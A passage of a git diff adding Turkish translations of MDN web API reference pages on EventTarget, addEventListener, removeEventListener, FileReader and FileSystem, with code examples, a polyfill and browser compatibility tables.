create.) In the second case, it's possible to do <code><var>myElement</var>.removeEventListener("click", processEvent, false)</code> because <code>processEvent</code> is the function reference.</p> + +<p>Actually, regarding memory consumption, the lack of keeping a function reference is not the real issue; rather it is the lack of keeping a STATIC function reference. In both problem-cases below, a function reference is kept, but since it is redefined on each iteration, it is not static. In the third case, the reference to the anonymous function is being reassigned with each iteration. In the fourth case, the entire function definition is unchanging, but it is still being repeatedly defined as if new (unless it was [[promoted]] by the compiler) and so is not static. Therefore, though appearing to be simply [[Multiple identical event listeners]], in both cases each iteration will instead create a new listener with its own unique reference to the handler function. However, since the function definition itself does not change, the SAME function may still be called for every duplicate listener (especially if the code gets optimized.)</p> + +<p>Also in both cases, because the function reference was kept but repeatedly redefined with each add, the remove-statement from above can still remove a listener, but now only the last one added.</p> + +<pre class="brush: js notranslate">// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element + +// Case 3 +for(let i=0, j=0 ; i<els.length ; i++){ + /* do lots of stuff with j */ + els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false); +} + +// Case 4 +for(let i=0, j=0 ; i<els.length ; i++){ + /* do lots of stuff with j */ + function processEvent(e){/*do something*/}; + els[j].addEventListener("click", processEvent, false); +}</pre> + +<h3 id="Sayfa_kaydırma_performansını_pasif_dinleyiciler_ile_iyileştirmek">Sayfa kaydırma performansını pasif dinleyiciler ile iyileştirmek</h3> + +<p>According to the specification, the default value for the <code>passive</code> option is always <code>false</code>. However, this introduces the potential for event listeners handling certain touch events (among others) to block the browser's main thread while it is attempting to handle scrolling, resulting in possibly enormous reduction in performance during scroll handling.</p> + +<p>To prevent this problem, some browsers (specifically, Chrome and Firefox) have changed the default value of the <code>passive</code> option to <code>true</code> for the {{event("touchstart")}} and {{event("touchmove")}} events on the document-level nodes {{domxref("Window")}}, {{domxref("Document")}}, and {{domxref("Document.body")}}. This prevents the event listener from being called, so it can't block page rendering while the user is scrolling.</p> + +<div class="note"> +<p><strong>Note:</strong> See the compatibility table below if you need to know which browsers (and/or which versions of those browsers) implement this altered behavior.</p> +</div> + +<p>You can override this behavior by explicitly setting the value of <code>passive</code> to <code>false</code>, as shown here:</p> + +<pre class="brush: js notranslate">/* Feature detection */ +let passiveIfSupported = false; + +try { + window.addEventListener("test", null, + Object.defineProperty( + {}, + "passive", + { + get: function() { passiveIfSupported = { passive: false }; } + } + ) + ); +} catch(err) {} + +window.addEventListener('scroll', function(event) { + /* do something */ + // can't use event.preventDefault(); +}, passiveIfSupported ); +</pre> + +<p>On older browsers that don't support the <code>options</code> parameter to <code>addEventListener()</code>, attempting to use it prevents the use of the <code>useCapture</code> argument without proper use of <a href="#Safely_detecting_option_support">feature detection</a>.</p> + +<p>You don't need to worry about the value of <code>passive</code> for the basic {{event("scroll")}} event. Since it can't be canceled, event listeners can't block page rendering anyway.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td> + <td>{{Spec2("DOM2 Events")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + + + +<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p> + +<h2 id="Ek_olarak">Ek olarak</h2> + +<ul> + <li>{{domxref("EventTarget.removeEventListener()")}}</li> + <li><a href="/en-US/docs/DOM/Creating_and_triggering_events">Creating and triggering custom events</a></li> + <li><a href="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li> +</ul> diff --git a/files/tr/web/api/eventtarget/index.html b/files/tr/web/api/eventtarget/index.html new file mode 100644 index 0000000000..a5872453c9 --- /dev/null +++ b/files/tr/web/api/eventtarget/index.html @@ -0,0 +1,169 @@ +--- +title: EventTarget +slug: Web/API/EventTarget +tags: + - API + - DOM + - DOM Events + - Interface + - NeedsTranslation + - TopicStub +translation_of: Web/API/EventTarget +--- +<p>{{ApiRef("DOM Events")}}</p> + +<p><code>EventTarget</code> is an interface implemented by objects that can receive events and may have listeners for them.</p> + +<p>{{domxref("Element")}}, {{domxref("document")}}, and {{domxref("window")}} are the most common event targets, but other objects can be event targets too, for example {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}}, and others.</p> + +<p>Many event targets (including elements, documents, and windows) also support setting <a href="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">event handlers</a> via <code>on...</code> properties and attributes.</p> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref("EventTarget.addEventListener()")}}</dt> + <dd>Register an event handler of a specific event type on the <code>EventTarget</code>.</dd> + <dt>{{domxref("EventTarget.removeEventListener()")}}</dt> + <dd>Removes an event listener from the <code>EventTarget</code>.</dd> + <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt> + <dd>Dispatch an event to this <code>EventTarget</code>.</dd> +</dl> + +<h3 id="Additional_methods_for_Mozilla_chrome_code">Additional methods for Mozilla chrome code</h3> + +<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. See also <a href="/en-US/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p> + +<ul> + <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{non-standard_inline}}</li> + <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{non-standard_inline}}</li> +</ul> + +<h2 id="Example">Example:</h2> + +<h3 id="_Simple_implementation_of_EventTarget" name="_Simple_implementation_of_EventTarget">Simple implementation of EventTarget</h3> + +<pre class="brush: js">var EventTarget = function() { + this.listeners = {}; +}; + +EventTarget.prototype.listeners = null; +EventTarget.prototype.addEventListener = function(type, callback) { + if(!(type in this.listeners)) { + this.listeners[type] = []; + } + this.listeners[type].push(callback); +}; + +EventTarget.prototype.removeEventListener = function(type, callback) { + if(!(type in this.listeners)) { + return; + } + var stack = this.listeners[type]; + for(var i = 0, l = stack.length; i < l; i++) { + if(stack[i] === callback){ + stack.splice(i, 1); + return this.removeEventListener(type, callback); + } + } +}; + +EventTarget.prototype.dispatchEvent = function(event) { + if(!(event.type in this.listeners)) { + return; + } + var stack = this.listeners[event.type]; + event.target = this; + for(var i = 0, l = stack.length; i < l; i++) { + stack[i].call(this, event); + } +}; +</pre> + +{{ EmbedLiveSample('_Simple_implementation_of_EventTarget') }} + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td> + <td>{{Spec2('DOM3 Events')}}</td> + <td>A few parameters are now optional (<code>listener</code>), or accepts the <code>null</code> value (<code>useCapture</code>).</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td> + <td>{{Spec2('DOM2 Events')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1")}}</td> + <td>9.0</td> + <td>7</td> + <td>1.0<sup>[1]</sup></td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoMobile("1")}}</td> + <td>9.0</td> + <td>6.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] <code>window.EventTarget</code> does not exist.</p> + +<h2 id="See_Also">See Also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Reference/Events">Event reference</a> - the events available in the platform.</li> + <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li> + <li>{{domxref("Event")}} interface</li> +</ul> diff --git a/files/tr/web/api/eventtarget/removeeventlistener/index.html b/files/tr/web/api/eventtarget/removeeventlistener/index.html new file mode 100644 index 0000000000..36617f7d0c --- /dev/null +++ b/files/tr/web/api/eventtarget/removeeventlistener/index.html @@ -0,0 +1,274 @@ +--- +title: EventTarget.removeEventListener() +slug: Web/API/EventTarget/removeEventListener +translation_of: Web/API/EventTarget/removeEventListener +--- +<p>{{APIRef("DOM Events")}}</p> + +<p>The <strong><code>EventTarget.removeEventListener()</code></strong> methodu daha önce {{domxref("EventTarget.addEventListener()")}} ile kaydedilmiş olan {{domxref("EventListener")}}'i kaldırır.</p> + +<h2 id="Yazım">Yazım</h2> + +<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]); +</code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]); +</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>type</code></dt> + <dd>Kaldırılacak olan eventListener'in türünü belirten String.</dd> + <dt><code>listener</code></dt> + <dd>Kaldırılacak olan {{domxref("EventListener")}} fonksiyonu.</dd> + <dt>options {{optional_inline}}</dt> + <dd>{{domxref("EventListener")}} objesinin karakteristliğini belirten seçenek. Kullanılabilecek seçenekler: + <ul> + <li><code>capture</code>: {{jsxref("Boolean")}}.Bu, benzer türdeki olayların DOM ağacında altında kalan herhangi bir EventTarget'tan önce kayıtlı dinleyiciye iletileceği anlamına gelir. </li> + <li><code>passive</code>: {{jsxref("Boolean")}}. Dinleyicinin asla preventDefault( ) fonksiyonunu çağıramayacağını belirten {{jsxref("Boolean")}}. Dinleyici çağırsa bile "user-agent" bunu dikkate almayacaktır ve bu konuda bşr konsol uyarısında bulunacaktır.</li> + <li>{{non-standard_inline}}<code> mozSystemGroup</code>: Sadece XBL ya da Firefox' chrome da çalışan kodta geçerlidir.Belirtilen olay dinleyicisinin sistem gurubuna atanıp atanmadığını gösteren {{jsxref("Boolean")}} dır.</li> + </ul> + </dd> + <dt><code>useCapture</code> {{optional_inline}}</dt> + <dd>Kaldırılacak olan {{domxref("EventListener")}}'in capturing EventListener olup olmadığını belirtir. Eğer bu alan kullanılmazsa varsayılan deferi "false" olarak kabul edilir.</dd> + <dd>Eğer bir olay dinleyici bir defa yakalayıcı bir defa yakalayıcı olmayacak şekilde iki defa kayıt edilmişse her birini ayrı ayrı kaldırın. Kaydedici olan olay dinleyicinin kaldırılması diğer olay dinleyici etkilemez.</dd> +</dl> + +<div class="note"><strong>Note:</strong> <code>useCapture</code> çoğu eski tarayıcılarda gerekli bir alandır. Eğer geniş uyumluluğu hedefliyorsanız bu parametreyi sağlamanız önerilir.</div> + +<h3 id="Return_Value">Return Value</h3> + +<p>Void.</p> + +<h2 id="Notlar">Notlar</h2> + +<p>Eğer bir {{domxref("EventListener")}} , {{domxref("EventTarget")}}'tan bir olayı işlerken kaldırılmışsa en son yapılan aksiyonlardan bir daha çağrılamaz. Ama tekrar atanabilir.</p> + +<p><code>removeEventListener()</code> fonksiyonunun argümanlarla çağırılması <code>EventTarget</code> üzerinde herhangi bir {{domxref("EventListener")}}'in olup olmadığını kontrol etmede kullanılamaz.</p> + +<h2 id="Örnek">Örnek</h2> + +<p>Bu örnekte nasıl fareye basma tabanlı olay dinleyicisi eklemeyi ve üzerine fareyle üzerine gelme tabanlı olay dinleyicisinin kaldırmanın nasıl yapılacağını göstermektedir.</p> + +<pre class="brush: js">var body = + document.querySelector('body'), + clickTarget = + document.getElementById('click-target'), + mouseOverTarget = + document.getElementById('mouse-over-target'), + toggle = false; + +function makeBackgroundYellow() { + 'use strict'; + + if (toggle) { + body.style.backgroundColor = 'white'; + } else { + body.style.backgroundColor = 'yellow'; + } + + toggle = !toggle; +} + +clickTarget.addEventListener('click', + makeBackgroundYellow, + false +); + +mouseOverTarget.addEventListener('mouseover', function () { + 'use strict'; + + clickTarget.removeEventListener('click', + makeBackgroundYellow, + false + ); +}); +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td> + <td>{{Spec2("DOM2 Events")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Desteği">Tarayıcı Desteği</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0<sup>[1][2]</sup></td> + <td>{{CompatGeckoDesktop("1")}}<sup>[3]</sup></td> + <td>9.0</td> + <td>7<sup>[4]</sup></td> + <td>1.0<sup>[1]</sup></td> + </tr> + <tr> + <td><code>useCapture</code> made optional</td> + <td>{{CompatVersionUnknown}}</td> + <td>6.0</td> + <td>9.0</td> + <td>11.60</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>options</code> parameter</td> + <td>{{CompatChrome(49.0)}}</td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0<sup>[1]</sup></td> + <td>{{CompatVersionUnknown}}<sup>[2]</sup></td> + <td>{{CompatGeckoMobile("1")}}<sup>[3]</sup></td> + <td>9.0</td> + <td>6.0<sup>[4]</sup></td> + <td>1.0<sup>[1]</sup></td> + <td>{{CompatVersionUnknown}}<sup>[2]</sup></td> + </tr> + <tr> + <td><code>useCapture</code> made optional</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>options</code> parameter</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(49.0)}}</td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + <td>{{CompatChrome(49.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Although WebKit explicitly added "<code>[optional]</code>" to the <code>useCapture</code> parameter for Safari 5.1 and Chrome 13, it had been working before the change.</p> + +<p>[2] Before Chrome 49, the type and listener parameters were optional.</p> + +<p>[2] Prior to Firefox 6, the browser would throw an exception if the <code>useCapture</code> parameter was not explicitly <code>false</code>. Prior to Gecko 9.0 {{geckoRelease("9.0")}}, <code>addEventListener()</code> would throw an exception if the listener parameter was <code>null</code>; now the method returns without error, but without doing anything.</p> + +<p>[4] Opera 11.60 made the <code>useCapture</code> parameter optional (<a href="http://my.opera.com/ODIN/blog/2011/09/29/what-s-new-in-opera-development-snapshots-28-september-2011-edition">source</a>).</p> + +<p>[5] For backwards compatibility, browsers that support <code>options</code> allow the third parameter to be either <code>options</code> or <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>.</p> + +<h2 id="Eski_Tarayıcılara_Polyfill_Desteği">Eski Tarayıcılara Polyfill Desteği</h2> + +<p><code>addEventListener()</code> ve <code>removeEventListener()</code> eski tarayıcılarda bulunmaz. Onun yerine aşağıdaki kodu scriptlerinizin başına ekleyerek bu fonksiyonların kullanımını sağlayabilirsiniz. Ne yazık ki bu methot Internet Explorer 7 ya da öncesinde Element.prototype'ı extend etme desteğinin Explorer 8 gelene kadar sağlanmadığı için çalışmaz.</p> + +<pre class="brush: js">if (!Element.prototype.addEventListener) { + var oListeners = {}; + function runListeners(oEvent) { + if (!oEvent) { oEvent = window.event; } + for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId < oEvtListeners.aEls.length; iElId++) { + if (oEvtListeners.aEls[iElId] === this) { + for (iLstId; iLstId < oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); } + break; + } + } + } + Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) { + if (oListeners.hasOwnProperty(sEventType)) { + var oEvtListeners = oListeners[sEventType]; + for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) { + if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; } + } + if (nElIdx === -1) { + oEvtListeners.aEls.push(this); + oEvtListeners.aEvts.push([fListener]); + this["on" + sEventType] = runListeners; + } else { + var aElListeners = oEvtListeners.aEvts[nElIdx]; + if (this["on" + sEventType] !== runListeners) { + aElListeners.splice(0); + this["on" + sEventType] = runListeners; + } + for (var iLstId = 0; iLstId < aElListeners.length; iLstId++) { + if (aElListeners[iLstId] === fListener) { return; } + } + aElListeners.push(fListener); + } + } else { + oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] }; + this["on" + sEventType] = runListeners; + } + }; + Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) { + if (!oListeners.hasOwnProperty(sEventType)) { return; } + var oEvtListeners = oListeners[sEventType]; + for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) { + if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; } + } + if (nElIdx === -1) { return; } + for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId < aElListeners.length; iLstId++) { + if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); } + } + }; +} +</pre> + +<h2 id="Ayrıca_Bakın">Ayrıca Bakın</h2> + +<ul> + <li>{{domxref("EventTarget.addEventListener()")}}.</li> + <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li> +</ul> diff --git a/files/tr/web/api/filereader/index.html b/files/tr/web/api/filereader/index.html new file mode 100644 index 0000000000..6a9742f8d1 --- /dev/null +++ b/files/tr/web/api/filereader/index.html @@ -0,0 +1,162 @@ +--- +title: FileReader +slug: Web/API/FileReader +tags: + - API + - DOM + - File API + - Files + - NeedsTranslation + - Reference + - TopicStub + - WebAPI +translation_of: Web/API/FileReader +--- +<div>{{APIRef("File API")}}</div> + +<p>The <code>FileReader</code> object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using {{domxref("File")}} or {{domxref("Blob")}} objects to specify the file or data to read.</p> + +<p>File objects may be obtained from a {{domxref("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's <a href="/en-US/docs/Web/API/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an {{domxref("HTMLCanvasElement")}}.</p> + +<h2 id="Constructor">Constructor</h2> + +<pre class="syntaxbox">FileReader FileReader();</pre> + +<p>See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for details and examples.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt> + <dd>A {{domxref("DOMError")}} representing the error that occurred while reading the file.</dd> + <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt> + <dd>A number indicating the state of the <code>FileReader</code>. This will be one of the {{anch("State constants")}}.</dd> + <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt> + <dd>The file's contents. This property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.</dd> +</dl> + +<h3 id="Event_handlers">Event handlers</h3> + +<dl> + <dt>{{domxref("FileReader.onabort")}}</dt> + <dd>A handler for the {{event("abort")}} event. This event is triggered each time the reading operation is aborted.</dd> + <dt>{{domxref("FileReader.onerror")}}</dt> + <dd>A handler for the {{event("error")}} event. This event is triggered each time the reading operation encounter an error.</dd> + <dt>{{domxref("FileReader.onload")}}</dt> + <dd>A handler for the {{event("load")}} event. This event is triggered each time the reading operation is successfully completed.</dd> + <dt>{{domxref("FileReader.onloadstart")}}</dt> + <dd>A handler for the {{event("loadstart")}} event. This event is triggered each time the reading is starting.</dd> + <dt>{{domxref("FileReader.onloadend")}}</dt> + <dd>A handler for the {{event("loadend")}} event. This event is triggered each time the reading operation is completed (either in success or failure).</dd> + <dt>{{domxref("FileReader.onprogress")}}</dt> + <dd>A handler for the {{event("progress")}} event. This event is triggered while reading a {{domxref("Blob")}} content.</dd> +</dl> + +<div class="note"> +<p>Note: As <code>FileReader</code> inherits from {{domxref("EventTarget")}}, all those events can also be listened for by using the {{domxref("EventTarget.addEventListener()","addEventListener")}} method.</p> +</div> + +<h3 id="State_constants">State constants</h3> + +<ul> + <li><code>EMPTY</code> : <code>0</code> : No data has been loaded yet.</li> + <li><code>LOADING</code> : <code>1</code> : Data is currently being loaded.</li> + <li><code>DONE</code> : <code>2</code> : The entire read request has been completed.</li> +</ul> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref("FileReader.abort()")}}</dt> + <dd>Aborts the read operation. Upon return, the <code>readyState</code> will be <code>DONE</code>.</dd> + <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{gecko_minversion_inline("7.0")}}</dt> + <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.</dd> + <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt> + <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains the raw binary data from the file as a string.</dd> + <dt>{{domxref("FileReader.readAsDataURL()")}}</dt> + <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains a <code>data:</code> URL representing the file's data.</dd> + <dt>{{domxref("FileReader.readAsText()")}}</dt> + <dd>Starts reading the contents of the specified {{domxref("Blob")}}, once finished, the <code>result</code> attribute contains the contents of the file as a text string.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td> + <td>{{Spec2("File API")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td> + <td>7</td> + <td>10<sup>[2]</sup></td> + <td>12.02<sup>[3]</sup></td> + <td>6.0.2</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>32</td> + <td>3</td> + <td>10</td> + <td>11.5</td> + <td>6.1</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p> + +<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p> + +<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a></li> + <li>{{domxref("File")}}</li> + <li>{{domxref("Blob")}}</li> + <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMFileReader">nsIDOMFileReader</a> - For addons/privileged scope</li> +</ul> diff --git a/files/tr/web/api/filesystem/index.html b/files/tr/web/api/filesystem/index.html new file mode 100644 index 0000000000..d7a9d4fe9a --- /dev/null +++ b/files/tr/web/api/filesystem/index.html @@ -0,0 +1,116 @@ +--- +title: FileSystem +slug: Web/API/FileSystem +translation_of: Web/API/FileSystem +--- +<p>{{APIRef("File System API")}} {{non-standard_header}}</p> + +<p>Dosya ve Dizin API arabirimi <strong><code>FileSystem</code></strong> bir dosya sistemini temsil etmek için kullanılır. Bu nesneler herhangi bir dosya sistemi girişinde yer alan {{domxref("FileSystemEntry.filesystem", "filesystem")}} özelliğinden edinilebilir. Bazı tarayıcılar dosya sistemlerini oluşturma ve yönetmek için ek API'lar sunarlar, Chrome'un {{domxref("LocalFileSystem.requestFileSystem", "requestFileSystem()")}} metodu gibi.</p> + +<div class="note"> +<p>Bu standart olmayan bir API, çünkü özellikleri henüz gelecek standartlar içerisinde yer almıyor, tüm tarayıcıların bunu desteklemediğini ve bu API'nin sadece bir bölümünün kullanılabilir olacağını unutmamak gerekir. Detaylar için {{anch("Browser compatibility")}} bölümüne bakınız.</p> +</div> + +<h2 id="Temel_Kavramlar">Temel Kavramlar</h2> + +<p>Bir <code>FileSystem</code> nesnesine erişmenin iki yolu vardır:</p> + +<ol> + <li>Web uygulamanız için oluşturulan korumalı bir dosya sistemini temsil eden dosyayı doğrudan <code>window.requestFileSystem() </code>öğesini çağırarak isteyebilirsiniz.. Eğer bu çağrı başarılı olursa, callback handler çalıştırılır. Bu da dosya sistemi tanımlayıcısı olan <code>FileSystem</code> nesnesini parametre olarak alır.</li> + <li>Bir dosya sistemi giriş nesnesinden, {{domxref("FileSystemEntry.filesystem", "filesystem")}} özelliği sayesinde erişim sağlayabilirsiniz.</li> +</ol> + +<h2 id="Özellikler">Özellikler</h2> + +<dl> + <dt>{{domxref("FileSystem.name")}} {{ReadOnlyInline}}</dt> + <dd>Dosya sisteminin adını temsil eden bir {{domxref("USVString")}}. Bu isim tüm açık dosya sistemlerinde benzersizdir.</dd> + <dt>{{domxref("FileSystem.root")}} {{ReadOnlyInline}}</dt> + <dd>Dosya sisteminin kök dizinini temsil eden bir {{domxref("FileSystemDirectoryEntry")}} nesnesi. Bu nesneyi kullanarak dosya sisteminde yer alan tüm nesne ve dizinlere erişebilirsiniz.</dd> +</dl> + +<h2 id="Tanımlama">Tanımlama</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Tanım</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('File System API')}}</td> + <td>{{Spec2('File System API')}}</td> + <td>Draft of proposed API</td> + </tr> + </tbody> +</table> + +<p>Bu API W3C ya da WHATWG üzerinde resmi bir tanımlamaya sahip değil.</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Tarayıcı Uyumluluğu</h2> + +<p>{{ CompatibilityTable }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Microsoft Edge</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>13{{ property_prefix("webkit") }}</td> + <td>{{ CompatGeckoDesktop(50) }}</td> + <td>{{ CompatNo }}</td> + <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android için Chrome</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + 